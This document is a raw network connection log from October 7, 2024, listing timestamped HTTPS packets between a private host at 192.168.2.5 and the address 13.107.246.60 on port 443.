Oct 7, 2024 13:26:47.219366074 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.219369888 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.221900940 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.221954107 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.222043991 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.222289085 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.222302914 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.246840954 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.247004032 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.247083902 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.247201920 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.247224092 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.247236967 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.247242928 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.250191927 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.250219107 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.250302076 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.250446081 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.250458956 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.334042072 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.334777117 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.334836960 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.334873915 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.334884882 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.334896088 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.334902048 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.338325024 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.338346958 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.338424921 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.338562012 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.338567019 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.362750053 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.363358974 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.363396883 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.363770962 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.363780975 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.465688944 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.465811968 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.465913057 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.466249943 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.466268063 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.466278076 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.466283083 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.469645977 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.469697952 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.469789028 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.469957113 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.469974041 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.796821117 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.797610044 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.797631979 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.798141956 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.798146963 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.864372015 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.865051985 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.865072966 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.865499973 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.865505934 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.888159037 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.888720989 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.888747931 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.889133930 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.889139891 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.913791895 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.913850069 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.913980007 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.914244890 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.914262056 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.914272070 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.914280891 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.917979956 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.918026924 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.918236017 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.918271065 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.918277025 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.964499950 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.964525938 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.964574099 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.964582920 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.964622974 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.965091944 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.965114117 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.965126038 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.965131044 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.968509912 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.968534946 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.968619108 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.968760014 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.968771935 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.972457886 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.973107100 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.973124027 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.973596096 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.973601103 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.989995003 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.990299940 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.990360975 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.990395069 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.990408897 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.990417957 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.990422964 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.994199991 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.994240046 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.994309902 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.994497061 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.994510889 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.073672056 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.073759079 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.073803902 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.073812008 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.073844910 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.074292898 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.074307919 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.074317932 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.074322939 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.077812910 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.077837944 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.077915907 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.078123093 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.078135967 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.105602026 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.106317997 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.106333971 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.106838942 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.106844902 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.210225105 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.210299969 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.210371971 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.210666895 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.210679054 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.210690975 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.210695982 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.214255095 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.214296103 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.214382887 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.214607000 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.214615107 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.605796099 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.606569052 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.606602907 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.607080936 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.607084990 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.619110107 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.619622946 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.619647026 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.619996071 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.620002031 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.658763885 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.659583092 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.659599066 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.660095930 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.660099030 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.704967022 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.705035925 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.705281019 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.705391884 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.705418110 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.705426931 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.705432892 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.708436966 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.708539963 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.708627939 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.708780050 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.708813906 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.728440046 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.729285955 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.729322910 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.729757071 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.729769945 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.761244059 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.761493921 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.761528969 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.761563063 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.761729002 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.761794090 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.761837006 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.761866093 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.761882067 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.765252113 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.765275955 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.765366077 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.765537024 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.765548944 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.796149015 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.796483994 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.796660900 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.796662092 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.796662092 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.799326897 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.799351931 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.799442053 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.799604893 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.799618959 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.828376055 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.828540087 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.828751087 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.834038973 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.834039927 CEST	49808	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.834070921 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.834095001 CEST	443	49808	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.838416100 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.838476896 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.838561058 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.838927984 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.838962078 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.850575924 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.851336956 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.851361990 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.851993084 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.852008104 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.949336052 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.949960947 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.950045109 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.950122118 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.950156927 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.950184107 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.950197935 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.953615904 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.953660011 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:48.953762054 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.953936100 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:48.953948975 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.105164051 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.105187893 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.337738991 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.338571072 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.338598013 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.339279890 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.339286089 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.427705050 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.428450108 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.428479910 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.428884983 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.428891897 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.436225891 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.436404943 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.436450958 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.436541080 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.436594009 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.436615944 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.436629057 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.436635017 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.437033892 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.437058926 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.437328100 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.437335014 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.439816952 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.439883947 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.439992905 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.440115929 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.440135956 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.486581087 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.487410069 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.487438917 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.487953901 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.487965107 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.531847954 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.531879902 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.531927109 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.532012939 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.532047987 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.532365084 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.532387018 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.532399893 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.532406092 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.535478115 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.535564899 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.535619020 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.535759926 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.535770893 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.535783052 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.535787106 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.535957098 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.535991907 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.536056042 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.536231041 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.536242962 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.538295031 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.538331032 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.538409948 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.538563013 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.538574934 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.585206985 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.585366011 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.585406065 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.585443020 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.585470915 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.585758924 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.585784912 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.585796118 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.585803032 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.589339972 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.589370012 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.589474916 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.589735031 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.589750051 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.619877100 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.620699883 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.620711088 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.621372938 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.621377945 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.727009058 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.727206945 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.727277040 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.727402925 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.727402925 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.727427006 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.727437019 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.737720013 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.737780094 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:49.737864017 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.738209963 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:49.738224030 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.079065084 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.079993963 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.080022097 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.080961943 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.080969095 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.168325901 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.169109106 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.169126987 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.169653893 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.169660091 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.170789003 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.171205044 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.171221018 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.171781063 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.171785116 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.178690910 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.178971052 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.179039955 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.179109097 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.179127932 CEST	443	49815	13.107.246.60	192.168.2.5
